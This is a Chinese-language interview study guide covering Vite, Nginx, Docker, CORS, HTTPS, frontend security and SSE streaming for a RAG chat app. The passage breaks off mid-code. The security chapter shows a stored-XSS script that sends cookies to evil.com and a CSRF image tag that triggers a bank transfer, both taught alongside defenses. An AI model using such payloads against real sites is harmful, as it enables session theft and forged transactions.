| Vue 支持 | vue-loader | 官方 @vitejs/plugin-vue |
面试话术: “Vite 开发环境用浏览器原生 ESM,不打包,所以启动速度和项目大小无关,改代码热更新也是毫秒级;生产环境用 Rollup 打包,产物优化做得更好。我们项目从 vue-cli 迁到 Vite 后,本地启动从 40 秒降到 2 秒,热更新基本无感。”
10.2 Vite 配置实战
// vite.config.ts(你的项目完整配置参考)
import { defineConfig, loadEnv } from 'vite';
import vue from '@vitejs/plugin-vue';
import { fileURLToPath, URL } from 'node:url';
export default defineConfig(({ mode }) => {
const env = loadEnv(mode, process.cwd()); // 加载环境变量
return {
plugins: [vue()],
// ① 路径别名(@ 指向 src)
resolve: {
alias: {
'@': fileURLToPath(new URL('./src', import.meta.url))
}
},
// ② 开发服务器
server: {
port: 5173,
open: true,
// ★ 开发代理解决跨域
proxy: {
'/api': {
target: env.VITE_API_BASE_URL || 'http://localhost:8080',
changeOrigin: true, // 改请求头的 host
// rewrite: (path) => path.replace(/^\/api/, '') // 按需去掉前缀
},
'/ws': { // WebSocket 代理
target: 'ws://localhost:8080',
ws: true
}
}
},
// ③ 生产构建
build: {
outDir: 'dist',
sourcemap: mode === 'development', // 生产不生成 sourcemap(防泄源码)
minify: 'terser',
terserOptions: { compress: { drop_console: true, drop_debugger: true } },
rollupOptions: {
output: {
manualChunks: {
vue: ['vue', 'vue-router', 'pinia'],
echarts: ['echarts'],
elementPlus: ['element-plus']
}
}
},
chunkSizeWarningLimit: 1000
},
// ④ 依赖预构建
optimizeDeps: {
include: ['vue', 'vue-router', 'pinia', 'axios', 'echarts', 'element-plus']
}
};
});
10.3 环境变量配置
# .env.development(开发环境,npm run dev 时加载)
VITE_API_BASE_URL=http://localhost:8080
VITE_APP_TITLE=知识库助手(开发)
# .env.production(生产环境,npm run build 时加载)
VITE_API_BASE_URL=https://api.company.com
VITE_APP_TITLE=企业知识库助手
# .env.staging(测试环境,npm run build --mode staging 时加载)
VITE_API_BASE_URL=https://staging-api.company.com
// 代码中使用(必须以 VITE_ 开头才会暴露给前端)
console.log(import.meta.env.VITE_API_BASE_URL);
console.log(import.meta.env.MODE); // 'development' | 'production'
// ⚠️ 安全提醒:前端环境变量会被打包进 JS,**绝对不能放密钥**!
// 密钥必须放后端
类比后端: .env.xxx ≈ Spring Boot 的 application-{profile}.yml。
10.4 ESLint + Prettier
| 工具 | 作用 | 后端类比 |
|---|---|---|
| ESLint | 代码质量检查(未使用变量、潜在 bug) | Checkstyle / SpotBugs |
| Prettier | 代码格式化(缩进、引号、换行) | Spotless |
| Stylelint | CSS 规范检查 | — |
// .eslintrc.cjs
module.exports = {
root: true,
env: { browser: true, es2022: true, node: true },
extends: [
'eslint:recommended',
'plugin:vue/vue3-recommended',
'@vue/eslint-config-typescript',
'@vue/eslint-config-prettier'
],
rules: {
'vue/multi-word-component-names': 'off', // 允许单文件组件单单词命名
'no-unused-vars': 'warn',
'no-console': process.env.NODE_ENV === 'production' ? 'error' : 'off',
'no-debugger': process.env.NODE_ENV === 'production' ? 'error' : 'off'
}
};
// .prettierrc
{
"semi": true,
"singleQuote": true,
"printWidth": 100,
"tabWidth": 2,
"trailingComma": "es5",
"arrowParens": "always"
}
// package.json
{
"scripts": {
"dev": "vite",
"build": "vue-tsc && vite build", // 类型检查 + 构建
"preview": "vite preview",
"lint": "eslint . --ext .vue,.js,.ts --fix",
"format": "prettier --write src/"
}
}
集成到 CI(呼应你简历的 Jenkins):
// Jenkinsfile 片段
stage('前端检查与构建') {
steps {
dir('frontend') {
sh 'pnpm install'
sh 'pnpm lint' // ESLint 检查,有 error 就失败
sh 'pnpm build' // 类型检查 + 打包
}
}
}
10.5 部署(Nginx 生产配置)
server {
listen 80;
server_name rag.company.com;
root /usr/share/nginx/html;
index index.html;
# ① Gzip 压缩
gzip on;
gzip_vary on;
gzip_min_length 1024;
gzip_comp_level 6;
gzip_types text/plain text/css text/xml application/json
application/javascript application/xml+rss
image/svg+xml;
# ② 前端静态资源(带 hash,强缓存)
location /assets/ {
expires 1y;
add_header Cache-Control "public, immutable";
access_log off; # 静态资源不记日志,省 IO
}
# ③ index.html 协商缓存
location = /index.html {
add_header Cache-Control "no-cache, must-revalidate";
}
# ④ API 反向代理(同域部署,彻底解决跨域)
location /api/ {
proxy_pass http://backend:8080/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_connect_timeout 10s;
proxy_send_timeout 60s;
proxy_read_timeout 60s;
}
# ⑤ SSE 特殊配置(★ 流式必须)
location /api/chat/ {
proxy_pass http://backend:8080;
proxy_http_version 1.1;
proxy_set_header Connection '';
proxy_buffering off; # ★ 关键:关闭缓冲,token 立即推送
proxy_cache off;
proxy_read_timeout 300s; # LLM 长回答不超时
chunked_transfer_encoding on;
}
# ⑥ WebSocket 配置
location /ws/ {
proxy_pass http://backend:8080;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_read_timeout 3600s; # 长连接超时设长
}
# ⑦ SPA 路由 fallback(★ history 模式必需,放最后)
location / {
try_files $uri $uri/ /index.html;
}
# ⑧ 安全头
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
}
部署流程(对应你简历的 Jenkins Pipeline):
开发提交代码
↓
Jenkins 触发
↓
① pnpm install(依赖缓存加速)
↓
② pnpm lint(ESLint 检查)
↓
③ pnpm test(单元测试)
↓
④ pnpm build(vue-tsc 类型检查 + vite build 打包)
↓
⑤ docker build(把 dist 打进 nginx 镜像)
↓
⑥ docker push(推镜像仓库)
↓
⑦ kubectl apply / helm upgrade(K8s 滚动更新)
↓
完成(你简历写的 40 分钟 → 10 分钟)
Dockerfile(前端):
# 多阶段构建:构建产物只保留 dist,镜像体积小
# ① 构建阶段
FROM node:20-alpine AS builder
WORKDIR /app
COPY package.json pnpm-lock.yaml ./
RUN npm install -g pnpm && pnpm install --frozen-lockfile
COPY . .
RUN pnpm build
# ② 运行阶段(只复制构建产物)
FROM nginx:alpine
COPY --from=builder /app/dist /usr/share/nginx/html
COPY nginx.conf /etc/nginx/conf.d/default.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
# 效果:镜像从 ~1GB(含 node_modules)降到 ~30MB
第十章 面试题汇总
| # | 题目 | 难度 |
|---|---|---|
| 1 | Vite 和 Webpack 的区别?为什么 Vite 快? | ⭐⭐⭐⭐ |
| 2 | Vite 生产环境用什么打包?为什么不用 esbuild? | ⭐⭐⭐ |
| 3 | Vite 怎么配置开发代理解决跨域? | ⭐⭐⭐⭐ |
| 4 | 环境变量怎么配置?有什么安全注意点? | ⭐⭐⭐⭐ |
| 5 | ESLint 和 Prettier 的区别? | ⭐⭐⭐ |
| 6 | 前端项目怎么部署?Nginx 怎么配? | ⭐⭐⭐⭐ |
| 7 | history 路由模式部署要注意什么? | ⭐⭐⭐⭐ |
| 8 | 为什么静态资源可以强缓存、index.html 不行? | ⭐⭐⭐⭐⭐ |
| 9 | 前端 Dockerfile 为什么要多阶段构建? | ⭐⭐⭐⭐ |
| 10 | 你们 CI/CD 流程是怎样的? | ⭐⭐⭐⭐ |
第十一章:浏览器与网络
11.1 从输入 URL 到页面显示,发生了什么?(经典必考题)
这是前端面试的“Hello World”级问题,答得完整与否直接决定印象分。建议按下面的 8 步背下来。
① URL 解析
浏览器判断输入的是 URL 还是搜索关键词
→ https://www.example.com/docs
② DNS 域名解析(域名 → IP)
查询顺序(有缓存就直接用):
浏览器缓存 → 操作系统缓存(hosts) → 本地 DNS 服务器 → 根域名服务器
→ 顶级域服务器(.com) → 权威域名服务器
得到 IP:93.184.216.34
③ 建立 TCP 连接(三次握手)
客户端 → SYN → 服务端 "我要连你"
客户端 ← SYN+ACK ← 服务端 "好的,我也要连你"
客户端 → ACK → 服务端 "好,连上了"
④ 建立 TLS 连接(HTTPS 才有,四次握手,见 11.3)
交换密钥,协商加密算法
⑤ 发送 HTTP 请求
GET /docs HTTP/1.1
Host: www.example.com
Cookie: xxx
⑥ 服务器处理请求并返回响应
HTTP/1.1 200 OK
Content-Type: text/html
<!DOCTYPE html>...
⑦ 浏览器解析渲染(★ 重点,详细见下)
HTML → DOM 树
CSS → CSSOM 树
DOM + CSSOM → Render Tree(渲染树)
→ Layout(布局:计算位置尺寸)
→ Paint(绘制:画到屏幕)
→ Composite(合成:GPU 合成各层)
⑧ 连接结束(HTTP/1.1 keep-alive 保持连接)
渲染详细流程(第 ⑦ 步展开)
HTML 文档
↓ 【解析】
DOM 树(Document Object Model)
<html>
├─ <head>
└─ <body>
├─ <div class="box">
└─ <p>Hello</p>
⚠️ 遇到 <script> 会阻塞解析(因为 JS 可能改 DOM)
→ 所以 script 放 body 底部,或加 defer/async
CSS 文件 / <style>
↓ 【解析】
CSSOM 树(CSS Object Model)
.box { width: 100px; color: red; }
p { font-size: 14px; }
DOM + CSSOM
↓ 【合并】
Render Tree(渲染树)
★ 只包含可见节点(display:none 的不在里面,visibility:hidden 的在)
Render Tree
↓ 【Layout / Reflow 布局】
计算每个节点在屏幕上的精确位置和尺寸
Layout
↓ 【Paint 绘制】
把每个节点画成像素(颜色、边框、阴影、文字)
Paint
↓ 【Composite 合成】
GPU 把各图层合成,显示到屏幕
⚠️ script 的 async 和 defer(面试常问):
<script src="a.js"></script> <!-- 阻塞解析,下载完立即执行 -->
<script src="a.js" defer></script> <!-- 并行下载,等 DOM 解析完才执行,按顺序 -->
<script src="a.js" async></script> <!-- 并行下载,下载完立即执行,不保证顺序 -->
执行时机对比:
解析HTML 下载脚本 执行脚本
普通: ████⏸
(阻塞) → 下载 → 执行 → 继续解析
defer: ████████████████ (解析完)
↓下载(并行)
DOMContentLoaded 前按顺序执行 ✅
async: ████████████ (不阻塞)
↓下载完立即执行(顺序不定)
11.2 跨域 CORS(后端必须会答)
保留原文档的精华并补充。
什么是跨域?
同源策略(Same-Origin Policy):浏览器的安全机制,要求协议 + 域名 + 端口三者完全相同才允许读取响应。
当前页面:http://localhost:5173
http://localhost:5173/api ✅ 同源(协议/域名/端口都一样)
https://localhost:5173/api ❌ 协议不同(http vs https)
http://localhost:8080/api ❌ 端口不同(5173 vs 8080)
http://127.0.0.1:5173/api ❌ 域名不同(localhost vs 127.0.0.1)
http://api.company.com/page ❌ 域名不同
⚠️ 关键点(面试必说):跨域是浏览器的限制,不是服务器拒绝请求。
请求其实发出去了,服务器也返回了 200,
但浏览器发现响应头没有允许跨域,就把响应拦截了,前端拿不到数据。
验证:用 Postman/curl 请求同样的接口 → 完全正常(因为没有浏览器这个中间层)
简单请求 vs 非简单请求(预检)
简单请求(同时满足以下两个条件):
- 方法是
GET/POST/HEAD之一 - 请求头只有:
Accept、Accept-Language、Content-Language、Content-Type(且值只能是application/x-www-form-urlencoded、multipart/form-data、text/plain)
非简单请求会先发 OPTIONS 预检(Preflight):
浏览器先发:
OPTIONS /api/documents HTTP/1.1
Origin: http://localhost:5173
Access-Control-Request-Method: POST
Access-Control-Request-Headers: authorization,content-type
服务器响应:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: http://localhost:5173
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: authorization, content-type
Access-Control-Max-Age: 3600 ★ 预检结果缓存 1 小时,减少 OPTIONS 请求
预检通过 → 浏览器才发真正的请求
⚠️ 常见的“意外”非简单请求: 加了 Authorization 头(JWT 场景必踩!)→ 每次都触发预检。这就是为什么要配 Access-Control-Max-Age 缓存预检结果。
后端解决方案(Spring Boot)
// 方式一:全局 CORS 配置(推荐)
@Configuration
public class CorsConfig {
@Bean
public CorsFilter corsFilter() {
CorsConfiguration config = new CorsConfiguration();
// ⚠️ 生产环境不要用 "*"(配合 allowCredentials 会报错),用明确的白名单
config.setAllowedOriginPatterns(List.of(
"http://localhost:5173",
"https://rag.company.com"
));
config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "OPTIONS"));
config.setAllowedHeaders(List.of("*"));
config.setExposedHeaders(List.of("Authorization")); // 允许前端读取的响应头
config.setAllowCredentials(true); // 允许带 Cookie/凭证
config.setMaxAge(3600L); // 预检结果缓存 1 小时
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/**", config);
return new CorsFilter(source);
}
}
// 方式二:单个 Controller/方法上加注解
@CrossOrigin(origins = "http://localhost:5173", maxAge = 3600)
@RestController
public class DocumentController { }
// 方式三:Spring Security 中启用
http.cors(cors -> cors.configurationSource(corsConfigurationSource()));
解决方案对比(生产推荐组合)
| 方案 | 适用 | 原理 |
|---|---|---|
| Vite devServer proxy | 开发环境 | 开发服务器代理转发,同源 |
| Nginx 反向代理 | 生产(推荐) | 前后端同域,Nginx 转发 /api → 后端 |
| 后端 CORS 白名单 | 兜底/第三方调用 | 响应头允许跨域 |
// 开发环境:Vite 代理
// vite.config.ts
server: {
proxy: {
'/api': {
target: 'http://localhost:8080',
changeOrigin: true
}
}
}
// 前端请求 /api/documents → Vite 转发到 http://localhost:8080/api/documents
// 浏览器看来是同源(都是 localhost:5173),无跨域
# 生产环境:Nginx 同域部署
server {
listen 80;
server_name rag.company.com;
location / { # 前端静态资源
root /usr/share/nginx/html;
try_files $uri $uri/ /index.html;
}
location /api/ { # API 转发到后端
proxy_pass http://backend:8080/;
}
}
# 前后端都是 rag.company.com → 同源 → 彻底无跨域
面试话术: “跨域是浏览器的同源策略限制,不是后端拒绝请求——所以 Postman 能通、浏览器被拦,这是判断跨域问题的第一要点。解决上我们开发环境用 Vite 代理,生产用 Nginx 同域部署 + 反向代理(最干净,性能也最好,还能省掉 OPTIONS 预检请求),后端同时开 CORS 白名单作为兜底,方便第三方系统对接。”
11.3 HTTPS 与 TLS 握手
HTTPS = HTTP + TLS(加密 + 认证 + 完整性)
HTTP 的问题(明文传输):
客户端 ────"密码是123456"────► 服务器
↑
中间人可以看到、篡改
HTTPS 的解决:
客户端 ────"@#$%^&*加密后"────► 服务器
↑
中间人看到的是乱码
TLS 握手过程(简化版,记住 4 步)
① ClientHello
客户端 → 服务端:支持的 TLS 版本、加密套件列表、随机数 R1
② ServerHello + 证书
客户端 ← 服务端:选定的加密套件、随机数 R2、数字证书(含公钥)
★ 浏览器验证证书:是否过期?域名是否匹配?是否由受信任的 CA 签发?
③ 密钥交换
客户端:生成随机数 R3(Pre-Master Secret),用证书里的公钥加密后发给服务器
服务端:用自己的私钥解密得到 R3
→ 双方用 R1 + R2 + R3 生成相同的「会话密钥」(对称加密密钥)
④ 握手完成
双方用会话密钥加密通信(对称加密,快)
★ 为什么用「非对称加密交换密钥 + 对称加密传数据」?
非对称加密安全但慢(RSA 2048 位),对称加密快(AES)
→ 用非对称加密安全地协商出对称密钥,之后用对称加密传数据,兼顾安全和性能
数字证书的作用(防止中间人):
中间人攻击:
客户端 ←── 假公钥 ── 中间人 ←── 真公钥 ── 服务器
(中间人冒充服务器,客户端拿到的是中间人的公钥)
证书如何解决:
证书 = 网站信息 + 网站公钥 + CA 的数字签名
浏览器内置了受信任 CA 的根证书公钥
→ 用 CA 公钥验证证书签名 → 确认证书确实是 CA 签发的、没被篡改
→ 中间人没有 CA 私钥,伪造的证书签不对 → 浏览器报警告
面试常问:
| 问题 | 答案 |
|---|---|
| HTTPS 为什么安全? | 加密(防窃听)+ 证书认证(防冒充)+ 摘要校验(防篡改) |
| 为什么不全用非对称加密? | 非对称加密计算慢(比对称慢 100~1000 倍),只用来协商密钥 |
| HTTPS 绝对安全吗? | 不是。中间人若有用户信任的假 CA 证书(如公司代理),仍可解密;且只能防传输层,应用层漏洞(XSS)防不了 |
| HTTPS 端口? | 443(HTTP 是 80) |
11.4 HTTP 版本演进
| 版本 | 关键特性 | 问题 |
|---|---|---|
| HTTP/1.0 | 每个请求一个 TCP 连接 | 连接开销大 |
| HTTP/1.1(主流) | keep-alive 长连接、管道化、Host 头 | 队头阻塞(同一连接请求要排队) |
| HTTP/2 | 多路复用、二进制分帧、头部压缩 HPACK、服务端推送 | TCP 层队头阻塞(丢包要等重传) |
| HTTP/3 | 基于 QUIC(UDP)、0-RTT 连接 | 兼容性、部署成本 |
HTTP/2 多路复用(重点):
HTTP/1.1:一个连接同时只能处理一个请求,要排队
请求1 ████████
请求2 ████████ ← 队头阻塞
请求3 ████
(浏览器开 6 个 TCP 连接并行,但仍有上限)
HTTP/2:一个连接上多个请求并行(二进制分帧 + stream ID)
请求1 ██ ██ ██ ██
请求2 ██ ██ ██ ██ ← 交错传输,互不阻塞
请求3 ██ ██ ██
★ 只需要 1 个 TCP 连接
第十二章:前端安全
12.1 XSS(跨站脚本攻击)
原理
XSS(Cross-Site Scripting):攻击者往页面注入恶意 JS 脚本,用户浏览时脚本执行,窃取 Cookie、篡改页面。
场景:评论区提交内容
攻击者提交:
<script>fetch('http://evil.com?cookie=' + document.cookie)</script>
后端没过滤,直接存库。其他用户看评论时,这段脚本被执行:
→ 用户的 Cookie(含登录态)被发到攻击者服务器
→ 攻击者用这个 Cookie 冒充用户登录
三种类型
| 类型 | 触发方式 | 场景 |
|---|---|---|
| 存储型 XSS | 恶意脚本存到数据库,所有访问者都中招 | 评论区、用户资料、留言板 |
| 反射型 XSS | 恶意脚本在 URL 参数里,服务端原样返回 | 搜索结果页 ?q=<script>... |
| DOM 型 XSS | 前端 JS 把不可信数据写进 DOM | innerHTML = location.hash |
防御(4 层)
// ① 转义(最重要):把特殊字符转成 HTML 实体
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<') // ★ 关键:转义 < 和 >
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// <script> → <script> → 浏览器当作文本显示,不执行 ✅
// ② Vue/React 默认就防御了!
// {{ }} 插值会自动转义,等价于 textContent
<div>{{ userInput }}</div> <!-- ✅ 安全,自动转义 -->
// ⚠️ 但 v-html 会原样渲染 HTML,等同于 innerHTML —— 危险!
<div v-html="userInput"></div> <!-- ❌ XSS 风险! -->
// 如果必须用 v-html(如渲染富文本),必须先清洗:
import DOMPurify from 'dompurify';
const safeHtml = computed(() => DOMPurify.sanitize(props.rawHtml));
// DOMPurify 会移除 script、onerror、javascript: 等危险内容,保留安全的 HTML 标签
// ③ 后端也要过滤(不能只靠前端,前端过滤可被绕过)
// 用 Hutool / OWASP Java HTML Sanitizer
String safe = HtmlUtil.filter(userInput); // Hutool
// 或
PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
String safe = policy.sanitize(userInput); // OWASP
// ④ 设置 HttpOnly Cookie(即使 XSS 成功也偷不到 Cookie)
Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict
// HttpOnly → JS 读不到 document.cookie
// Secure → 只有 HTTPS 才发送
// SameSite → 防 CSRF(见 12.2)
⚠️ 你的项目场景: RAG 系统渲染 AI 返回的答案时需要 Markdown → HTML 转换,必须用 DOMPurify 清洗——因为 AI 生成的内容可能包含用户上传文档里的恶意片段。
import MarkdownIt from 'markdown-it';
import DOMPurify from 'dompurify';
const md = new MarkdownIt();
// ★ 先渲染成 HTML,再清洗,最后才交给 v-html
const safeHtml = computed(() => {
const rawHtml = md.render(props.markdownContent);
return DOMPurify.sanitize(rawHtml); // ← 这一步不能省!
});
12.2 CSRF(跨站请求伪造)
原理
CSRF(Cross-Site Request Forgery):攻击者诱导用户访问恶意页面,该页面冒充用户身份向目标网站发请求。
攻击流程:
① 用户登录了银行网站 bank.com,Cookie 里有登录态
② 攻击者诱导用户访问 evil.com(邮件/论坛链接)
③ evil.com 页面里藏着:
<img src="http://bank.com/transfer?to=attacker&amount=10000">
或自动提交的表单
④ 浏览器发请求时**自动带上 bank.com 的 Cookie**
⑤ 银行服务器认为是用户本人操作 → 转账成功
★ 核心:浏览器发请求会自动带 Cookie,攻击者"借用"了用户的登录态
防御(4 种)
① SameSite Cookie(最简单,现代浏览器默认)
Set-Cookie: token=xxx; SameSite=Strict
Strict → 完全禁止跨站携带 Cookie(从 evil.com 发来的请求不带 Cookie)
Lax → 允许 GET 等安全方法的跨站请求带 Cookie(默认值,平衡安全与体验)
None → 允许所有跨站携带(必须配合 Secure)
② CSRF Token
服务端生成一个随机 token 放在表单/响应头里
前端每次请求带上这个 token,服务端校验
→ 攻击者拿不到这个 token(不在 Cookie 里,且每次不同)
③ 验证 Origin / Referer 头
服务端检查请求来源是不是自己的域名
④ 关键操作二次验证
转账需要输入密码/短信验证码(即使 CSRF 成功也过不了)
你的项目(JWT 场景):
JWT 存哪里?这是个经典安全问题:
方案A:localStorage
前端存 localStorage,Axios 拦截器手动加到 Authorization 头
✅ 不受 CSRF 影响(因为 CSRF 靠自动带 Cookie,而 localStorage 不会被自动带)
❌ 受 XSS 影响(JS 能读到 localStorage)
方案B:Cookie + HttpOnly
后端 Set-Cookie: token=xxx; HttpOnly; SameSite=Strict
✅ 防 XSS(JS 读不到)
❌ 需要防 CSRF(SameSite=Strict 基本能挡住)
★ 结论:
没有完美方案,关键是理解取舍。
目前主流做法是 localStorage + Authorization 头(SPA 场景),
配合:① 严格的 XSS 防护 ② token 短期有效 + refresh token ③ 关键操作二次验证
如果安全性要求极高,用 HttpOnly Cookie + SameSite=Strict + CSRF Token
12.3 其他安全威胁
| 威胁 | 原理 | 防御 |
|---|---|---|
| 点击劫持 | 用透明 iframe 覆盖在诱导按钮上,用户点的其实是隐藏的按钮 | X-Frame-Options: SAMEORIGIN / CSP frame-ancestors |
| 中间人攻击 | 劫持网络流量窃听/篡改 | HTTPS、证书固定 |
| SQL 注入 | 拼接 SQL | 预编译(PreparedStatement)、ORM 参数绑定 |
| CSP(内容安全策略) | 白名单机制限制资源加载来源 | Content-Security-Policy: default-src 'self' |
| 依赖漏洞 | 第三方 npm 包有已知漏洞 | npm audit、Snyk、定期更新 |
# CSP 示例(响应头)
Content-Security-Policy:
default-src 'self'; # 默认只允许同源
script-src 'self' https://cdn.com; # JS 只允许同源和指定 CDN
style-src 'self' 'unsafe-inline'; # CSS 允许内联(Vue 项目常需要)
img-src 'self' data: https:; # 图片允许 data URI 和 https
connect-src 'self' https://api.company.com; # AJAX/WebSocket 目标
frame-ancestors 'none'; # 禁止被 iframe 嵌套(防点击劫持)
第十一、十二章 面试题汇总
| # | 题目 | 难度 |
|---|---|---|
| 1 | 从输入 URL 到页面显示发生了什么? | ⭐⭐⭐⭐⭐ |
| 2 | 浏览器的渲染流程?DOM/CSSOM/Render Tree ? | ⭐⭐⭐⭐ |
| 3 | script 的 async 和 defer 区别? | ⭐⭐⭐⭐ |
| 4 | 什么是跨域?为什么会有跨域? | ⭐⭐⭐⭐⭐ |
| 5 | 简单请求和非简单请求的区别?什么是预检? | ⭐⭐⭐⭐⭐ |
| 6 | 跨域怎么解决?生产环境怎么做? | ⭐⭐⭐⭐⭐ |
| 7 | HTTPS 的握手过程? | ⭐⭐⭐⭐⭐ |
| 8 | 为什么 HTTPS 既用非对称又用对称加密? | ⭐⭐⭐⭐ |
| 9 | 数字证书的作用?怎么防止中间人? | ⭐⭐⭐⭐ |
| 10 | HTTP/2 相比 1.1 有什么改进? | ⭐⭐⭐⭐ |
| 11 | 什么是 XSS?几种类型?怎么防御? | ⭐⭐⭐⭐⭐ |
| 12 | v-html 有什么风险?怎么安全使用? | ⭐⭐⭐⭐⭐ |
| 13 | 什么是 CSRF?怎么防御? | ⭐⭐⭐⭐⭐ |
| 14 | JWT 存 localStorage 还是 Cookie?为什么? | ⭐⭐⭐⭐⭐ |
| 15 | HttpOnly / Secure / SameSite 的作用? | ⭐⭐⭐⭐ |
| 16 | 什么是点击劫持?怎么防御? | ⭐⭐⭐ |
第十三章:前后端协作与 SSE 流式(核心亮点)
这一章是你简历项目二的核心对接点,也是作为全栈工程师最能体现“既懂后端推送、又懂前端渲染”的地方。面试官大概率会追问细节。
13.1 RESTful 接口约定
| 操作 | 方法 + URL | 你 RAG 项目的例子 |
|---|---|---|
| 查列表 | GET /api/documents |
文档列表页 |
| 查单个 | GET /api/documents/{id} |
文档详情 |
| 新增 | POST /api/documents(multipart 上传) |
上传 PDF/Word |
| 修改 | PUT /api/documents/{id} |
修改文档标签 |
| 删除 | DELETE /api/documents/{id} |
删除文档 |
| 动作类 | POST /api/chat/stream |
发起对话(SSE 流式) |
统一响应体(前后端契约):
// 后端
@Data
public class Result<T> {
private int code; // 200 成功,其他失败
private String message; // 提示信息
private T data; // 业务数据
private long timestamp;
public static <T> Result<T> success(T data) {
Result<T> r = new Result<>();
r.code = 200; r.data = data; r.timestamp = System.currentTimeMillis();
return r;
}
public static <T> Result<T> error(String msg) { /* ... */ }
}
// 前端对应
export interface Result<T = any> {
code: number;
message: string;
data: T;
timestamp: number;
}
// Axios 拦截器里只认 code !== 200 → 弹 message
// 前后端契约统一,谁都不用到处判断
加分点: “资源用名词、操作用 HTTP 方法表达;但对话这种’动作’不好资源化时我们单独开了 /chat 端点,语义优先于教条。”
13.2 Axios 拦截器
// src/api/request.js
import axios from 'axios';
import { ElMessage } from 'element-plus';
const request = axios.create({
baseURL: '/api',
timeout: 30000
});
// ============ 请求拦截器 ============
request.interceptors.request.use(
config => {
// ① 自动带 token
const token = localStorage.getItem('token');
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
// ② 请求开始:显示 loading(配合全局 loading 计数器)
return config;
},
error => Promise.reject(error)
);
// ============ 响应拦截器 ============
request.interceptors.response.use(
response => {
const res = response.data;
// ① 文件下载(Blob)直接返回
if (response.config.responseType === 'blob') return response;
// ② 业务码判断
if (res.code !== 200) {
ElMessage.error(res.message || '请求失败');
// 特殊错误码处理
if (res.code === 401) {
localStorage.removeItem('token');
location.href = '/login';
}
return Promise.reject(new Error(res.message));
}
return res.data; // ★ 直接返回 data,业务代码不用 .data.data
},
error => {
// ③ HTTP 错误码处理
const status = error.response?.status;
switch (status) {
case 400: ElMessage.error('请求参数错误'); break;
case 401:
ElMessage.error('登录已过期,请重新登录');
localStorage.removeItem('token');
location.href = '/login';
break;
case 403: ElMessage.error('没有权限'); break;
case 404: ElMessage.error('请求的资源不存在'); break;
case 429: ElMessage.warning('操作太频繁,请稍后再试'); break; // 呼应后端限流
case 500: ElMessage.error('服务器错误'); break;
case 502:
case 503: ElMessage.error('服务暂时不可用'); break;
default:
if (error.code === 'ECONNABORTED') {
ElMessage.error('请求超时,请检查网络');
} else {
ElMessage.error('网络异常');
}
}
return Promise.reject(error);
}
);
export default request;
13.3 SSE 流式对话(★ 你 RAG 项目的核心)
13.3.1 SSE 是什么?
SSE(Server-Sent Events,服务器推送事件):HTTP 长连接上,服务器单向持续推送文本流给浏览器。
SSE vs WebSocket vs 轮询(高频对比题)
| 对比 | 轮询 | SSE | WebSocket |
|---|---|---|---|
| 通信方向 | 客户端反复问 | 服务器单向推 | 全双工双向 |
| 协议 | 普通 HTTP | 普通 HTTP | 独立 ws:// 协议(HTTP 升级握手) |
| 数据格式 | 任意 | 文本(UTF-8) | 任意(含二进制) |
| 断线重连 | 自己写 | 浏览器自动重连(retry 字段) | 自己实现(心跳+重连) |
| 开销 | 高(反复建连接) | 低 | 低 |
| 适用场景 | 简单低频 | LLM 流式输出、行情推送、进度通知 | 聊天室、协同编辑、游戏 |
为什么 LLM 对话选 SSE 不选 WebSocket?
对话本质是“一问一答”:请求发出后只有服务器往回推,单向就够。SSE 基于普通 HTTP:不用升级协议、过网关/代理/Nginx 兼容性好、自带断线重连、实现简单。WebSocket 的全双工能力在这里是浪费。
13.3.2 后端实现(Spring Boot SseEmitter)
@RestController
@RequestMapping("/api/chat")
public class ChatController {
@PostMapping(value = "/stream", produces = MediaType.TEXT_EVENT_STREAM_VALUE)
public SseEmitter chat(@RequestBody ChatRequest req) {
// 超时给长一点:LLM 生成长回答可能超过默认 30s
SseEmitter emitter = new SseEmitter(120_000L);
chatService.streamChat(req, new SseChatListener(emitter));
return emitter;
}
}
@Component
public class SseChatListener implements StreamingChatResponseHandler {
private final SseEmitter emitter;
@Override
public void onPartialResponse(String token) {
try {
// 每来一个 token 就推一个 event
emitter.send(SseEmitter.event().name("message").data(token));
} catch (IOException e) {
// 用户关页面了 → 通知 LangChain4j 取消上游 LLM 请求,省钱!
emitter.completeWithError(e);
}
}
@Override
public void onCompleteResponse(String fullAnswer) {
emitter.send(SseEmitter.event().name("done").data("[DONE]"));
emitter.complete(); // 正常结束连接
}
@Override
public void onError(Throwable error) {
emitter.send(SseEmitter.event().name("error").data("生成失败,请重试"));
emitter.complete(); // 异常也要关闭,防连接泄漏
}
}
SSE 报文格式(能讲出来很加分):
HTTP/1.1 200 OK
Content-Type: text/event-stream;charset=UTF-8
Cache-Control: no-cache ← 禁止代理缓存
Connection: keep-alive
event: message
data: 头寸
event: message
data: 是指
event: message
data: 资产托管中
event: done
data: [DONE]
帧格式规则:
- 每个事件以**空行(
\n\n)**结尾 data:数据字段event:事件类型(前端可按类型监听)id:事件 ID(断线重连时浏览器会带上 Last-Event-ID)retry:断线后多少毫秒自动重连
13.3.3 前端实现(fetch + ReadableStream)
<!-- ChatPage.vue -->
<script setup lang="ts">
import { ref, onUnmounted, nextTick } from 'vue';
interface ChatMessage {
role: 'user' | 'assistant';
content: string;
sources?: any[];
}
const messages = ref<ChatMessage[]>([]);
const question = ref('');
const generating = ref(false);
let abortController: AbortController | null = null;
async function send() {
if (!question.value.trim() || generating.value) return;
const q = question.value;
question.value = '';
generating.value = true;
// ① 先 push 用户消息和一条空的 AI 消息(占位)
messages.value.push({ role: 'user', content: q });
const aiMsg: ChatMessage = { role: 'assistant', content: '' };
messages.value.push(aiMsg);
// ② 创建 AbortController(用于用户中断)
abortController = new AbortController();
try {
